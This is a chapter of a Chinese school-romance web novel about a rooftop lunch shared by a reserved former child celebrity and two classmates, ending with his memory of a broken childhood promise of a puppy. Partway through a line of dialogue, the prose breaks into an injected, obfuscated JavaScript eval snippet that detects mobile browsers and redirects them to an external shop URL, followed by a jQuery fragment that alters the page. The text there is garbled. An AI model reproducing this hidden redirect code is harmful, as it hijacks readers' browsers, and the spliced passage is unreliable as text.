/010
假期后的第一天返学,郁从野刚从后门走进教室,就觉察到今天的气氛有些不同于往常。
郁从野的位置在靠走廊南窗的最后一排,戚原园在他的前方,跟他隔开两个位置。
戚原园的位置也靠南窗,但有一根柱子挡住了大半窗景,导致她只能趴在桌上撅着屁股朝窗外的女孩说:“谢谢!我爱你!”
窗外一双纤细的手孔武有力地递进来两个纸袋,戚原园伸手接过时没防备,突然的重力让她差点整个人从桌子上翻下去,两个袋子沉到像装了两个大石头,不知道梅逢满怎么一个人从早餐店拎过来的。
幸好有前座的同学好心托了一把,才没让袋子落了地。
戚原园刚把袋子放在桌上,一群饿极了眼的就涌了上来,七嘴八舌地说着自己提前预约的早餐是什么。
戚原园气定神闲地翘了个二郎腿,对着手机备忘录上的预定单一一给同学分发早餐。
这事儿说起来也玄乎,原本梅逢满答应了给戚原园带早餐,戚原园在假期前一天返校住宿时跟室友们提了一嘴,室友们也都哀嚎“苦食堂久矣”,拜托她问问梅逢满能不能多带几份。
晚自习课间戚原园收到了梅逢满的回复说可以,还发来了菜单,几个女生簇拥着讨论要吃什么,被其他同学听见了,嚷嚷着也要。
最终订购早饭的队伍庞大到波及了两个班,梅逢满一人之力扛来了两个班过半人的早饭。
同学们最后也不好意思,主动提出要给梅逢满付代购费,一份早饭多加一元,梅逢满欣然同意。
中午曲美龄来给梅逢满送饭,前两天戚原园在她家吃晚饭时对曲美龄送饭的事情百般感谢,嘴甜哄得曲美龄面上开花,直问戚原园爱吃什么,戚原园也不客气,当场点菜说想吃红烧鱼。
梅逢满在校门口接过两个布袋,跟妈妈匆忙告别就跑向了艺术楼,戚原园跟她提前约定好了在艺术楼的楼顶一起吃午饭。
一路跑上顶楼,梅逢满推开玻璃门,天台上绿意盎然,花草群绕中有一个木制小亭子,木色骨架上爬满了藤曼,其中一缕倒挂的藤曼下坐着一个人。
脑海里预想的中午闺蜜私聊欢聚时光突然泡了汤,因为天台的亭子里只有一个桌子,已经有人先到先得了。
可偏偏这人是郁从野。
梅逢满心中咒骂,怎么又是他。
白衣白裤的少年悠哉坐在绿色藤蔓之下,桌上是一碗沙拉和一杯咖啡,此刻少年正优雅地叉起两片菜叶子往嘴里塞,自以为找了个没人的好地方享用午餐,突然听到有人从后面神出鬼没地发出声音,吓得他叉子一抖,菜叶子无声掉落在白色亚麻裤子上,沙拉汁留下浅黄色的一道痕迹。
梅逢满说的是:“不介意拼个桌吧?”
郁从野低头看了看裤子,再抬头时,穿着校服的少女已经坐在了他的斜对面,利落地打开布袋,掏出餐盒。
餐盒的盖子一掀开,香味扑面而来。
郁从野很难控制自己的目光不去窥探这香味的来源。
红烧鱼,玉米排骨汤,炒菠菜,铁板豆腐,剥好的柚子果肉。
很显然不是他一个人觉得食堂太难吃了,他的应对方法是早上在简餐店点一份冷食带来学校,可现在遇到了降维打击,竟然有人的午饭是热腾腾香喷喷的家常菜,让他面前的沙拉一下子失去了吸引力。
梅逢满知道他在看自己的菜,不免有些炫耀的心思,打开汤碗的手一下子没收住力,把布袋里的一双筷子打飞了出去。
不锈钢筷子在桌上蹦跶了两下,从桌沿下坠,啪嗒一下躺在了郁从野的脚边。
郁从野弯腰捡了起来,递到了梅逢满的面前。
“你……”
“我……”
两人同时开口,发现声音撞在了一起,梅逢满想让他先说,郁从野也想让她先说,空气静止了几秒,竟然不约而同地又沉默了。
打破沉寂的是刚刚赶到的戚原园。
天台门被大力推开,梅逢满和郁从野一同循声望过去,戚原园跑得气喘吁吁的,凉爽的秋天,她却一头汗。
梅逢满问:“你去哪里了?我以为你早就到了。”
戚原园坐到了梅逢满的身边,正对着郁从野,惊奇地望了一眼他,好不容易喘匀了气,她先挑重点的说:“我回了一趟宿舍……呼……累死我了。”
“你早上忘拿东西了?”梅逢满知道她总是丢三落四,也不奇怪。
“不是,哎,我一句话说不明白,我先喝口汤。”
戚原园甚至没来得及找汤勺,直接端着汤碗盒嘴对着沿口喝了一口,排骨汤的油水足,汤面覆盖的一层油掩盖了热气,她一下子被烫得跳了起来,斯哈斯哈吐着舌头扇风。
“你怎么这么着急呀,快吃个柚子,这个是冷的……”
戚原园吃了两片柚子,才缓过来,舌头被烫的不轻。
“葛玉照你知道吧?我另一个室友林娇娇跟我说,她回去宿舍拿东西的时候发现葛玉照在宿舍里哭,我这不得回去看看嘛。”
梅逢满听到这里侧头问道:“因为什么哭了呀?”
“不知道,问她什么她也不肯说。”戚原园感觉舌头好点了,夹了一筷子心心念念的红烧鱼塞进嘴里,“林娇娇留在宿舍安慰她了,我想着我先来吃饭,然后等会儿回去陪一下她,我得赶快吃,不然林娇娇没时间吃午饭了。”
戚原园用筷子把鱼刺一一挑了出来,发现梅逢满没有动筷子,奇怪地问道:“你怎么不吃啊小满?”
“这双筷子刚刚掉地上了。”梅逢满说。
“啊?那你给我,我去楼下卫生间给你洗洗。”戚原园放下了手里的筷子。
“不用,太麻烦了,我等你吃完用你的筷子就好了,而且你不是赶时间吗,你快吃。”
梅逢满嘴上这么说着,目光却投向斜对面的桌角,沙拉盘旁边有一双还没拆封的一次性筷子。
戚原园顺着她的目光看过去,一下子慧至心灵,清了一下嗓子说:“郁大帅哥,你这筷子还用吗?”
郁从野:“……”
他有说不的权利吗?
他默默把手边的一次性筷子往外推了推,然后低下头来又啃了一口索然无味的草。
梅逢满得了便宜不敢卖乖了,拆了一次性筷子,夹起一块已经被戚原园挑干净鱼刺的红烧鱼放进嘴里,口齿不清地说:“谢谢。”
“不客气。”郁从野头都没抬,淡淡地说。
戚原园一边快速干饭一边还不忘闲聊:“欸,郁帅,你怎么中午就吃这些啊?怪不得你这么瘦,听说当明星都是需要节食维持身材的,你见过很多明星吧,是不是这样的?”
郁从野放下了叉子,喝了一口咖啡说:“嗯,很多明星一天只吃一顿饭的。”
戚原园浮夸地说:“天呐,让我过这种日子不如杀了我,如果不能吃好吃的,那赚再多钱也觉得人生没意思啊!”
梅逢满在旁边沉默了两秒,突然说:“说不定有人是没有味蕾的,就不觉得痛苦了。”
郁从野看着碗里剩下的几片绿叶子,不免多想,她不会是在阴阳他没有味蕾吧?
但说完这一句,两个女生就扯起了别的话题。
“小狗怎么样?上次跟它玩了这么久,几天没见,我居然有点想它。”
“挺好的,我假期最后一天带小狗去打了疫苗,今天早上去遛它的时候,它眼睛都没睁开,困得不行了,超级可爱!”
“哦莫!光是想想就觉得好可爱!我周末一定要去看小狗!”
“随时可以呀。”
“哎你都不知道,上次家长会回去我妈又批评我了,说我成绩两极分化,数学真的太难了!真不知道我妈为什么坚持要让我选理科。”
“慢慢来嘛,我们还没学完所有高考要考的内容,说不定后面的一些立体几何你会比较拿手?”
“算了,吃饭的时候不说学习,好好干饭。”
“对了园园,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17609014|205854||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
你知道我今天赚了多少钱吗?”
“你说代购早餐嘛?多少多少,我看看小满又在发财了。”
“对呀,今天赚了三十多块钱呢,还得谢谢你呢。”
“谢我干嘛,那我还得谢你请我吃午饭啊,我妈妈昨天还联系曲阿姨了,说曲阿姨拒绝收我的午餐费,怪不好意思的,以后就让我用帮你分发早餐的劳动力来抵消我的午餐钱吧!”
“你给我算这么清干嘛。”
“也是,小满我觉得你这么聪明,又有商业头脑,以后肯定可以赚很多很多钱,那句话怎么说来着,苟富贵勿相忘,我现在先在你身边把狗腿的位置占住了,以后就粘着你让你养我。”
“好好好。”
郁从野已经吃完了,一时却不想走开,静静听着她们旁若无人的对话,突然感受到一种油然而生的孤独感。
这是一个崭新的城市,父亲的频繁调动让他从童年起就没有在同一个城市生活过超过三年,交往过的朋友也都在远隔山海后渐渐断了联系,点赞之交很多,谈话之人是一个也没有。
而且他从小出名,小时候身边的同龄人也都幼稚一些,和他做朋友的往往都抱着一些别的心思,久了他也厌倦了,索性便把心防筑起,没有人能够了解他,就没有人可以伤害他。
戚原园速战速决,简单扒拉了几口,离开前还很抱歉地跟梅逢满说:“小满,不好意思啊,今天麻烦你了,明天的餐盒交给我来收拾!”
“这有什么,你快去吧。”梅逢满挥挥手。
戚原园走了以后,梅逢满慢条斯理地把柚子吃完了,然后起身收拾餐盒,妥帖地收回了布袋里,郁从野也起身收拾自己的餐盒,他的都是一次性物品,直接扔进天台门口的垃圾桶里就行。
两人默契又同步地收拾完了,又一起伸手去推天台的玻璃门,门把手上同时出现了两只手,一高一低,高的那只手的指尖将将擦过低的手背。
“我来吧。”郁从野略略抬高手臂拉开距离。
梅逢满错开身,郁从野推开门,绅士地扬手示意她先进,梅逢满跃过门槛,跑下了楼梯,郁从野跟了上去。
通往天台的楼梯间是昏暗的安全楼梯,没有多余的装潢,只有安全出口的绿色灯牌幽幽打着微弱的光。
郁从野看着面前的马尾一甩一甩地忽远忽近,她今天在校服外套里穿着一件黄绿色的T恤,像极了秋天没有熟透的橘子,她好像没有烦恼,家人好友相伴,她只需要按季节规律肆意生长就好。
光线阴暗的地方更容易让内心照不到阳光的地方偷偷伸出触角。
郁从野承认,他第一次有了嫉妒的感觉。
他在嫉妒一个少女的盎然。
她有会陪她吃饭、给她送饭的父母,有陪她聊心事的好朋友,有应试的天赋,有反击生活的勇气。
可他却懦弱到不敢交朋友,无能到不会坐公交车。
最最让他嫉妒的是,她居然有一只小狗。
郁从野想起小时候他看了忠犬八公的电影,查了好多资料,甚至做了一份养狗的方案,好不容易鼓起勇气跟妈妈提出想养一只小狗的想法。
黎春棠那天心情很好,说如果他能在暑假考过钢琴十级就同意他养狗。
那时他才十岁,手掌还未长到如今的宽度,钢琴十级的曲目难度很高,好几个八度以上的跨越需要他使劲撑开大拇指和小指才能勉强够到,他不分早晚地拼命练习,患着腱鞘炎考过了十级。
可他找妈妈兑现承诺时,黎春棠却说她不记得了。
他在烈日下默默流泪,黎春棠指责说:“爸爸又要调动了,养了小狗谁负责,影响你学习怎么办,你能不能懂事一点?”
后来,他很懂事地长大了,什么事情都不会特意去麻烦父母。
小狗只是他童年的奢望,像一场梦一样消散了。
如今他张开手掌,大拇指和小指已经可以轻易够到九度、十度的钢琴键。
他也早就不想养小狗了。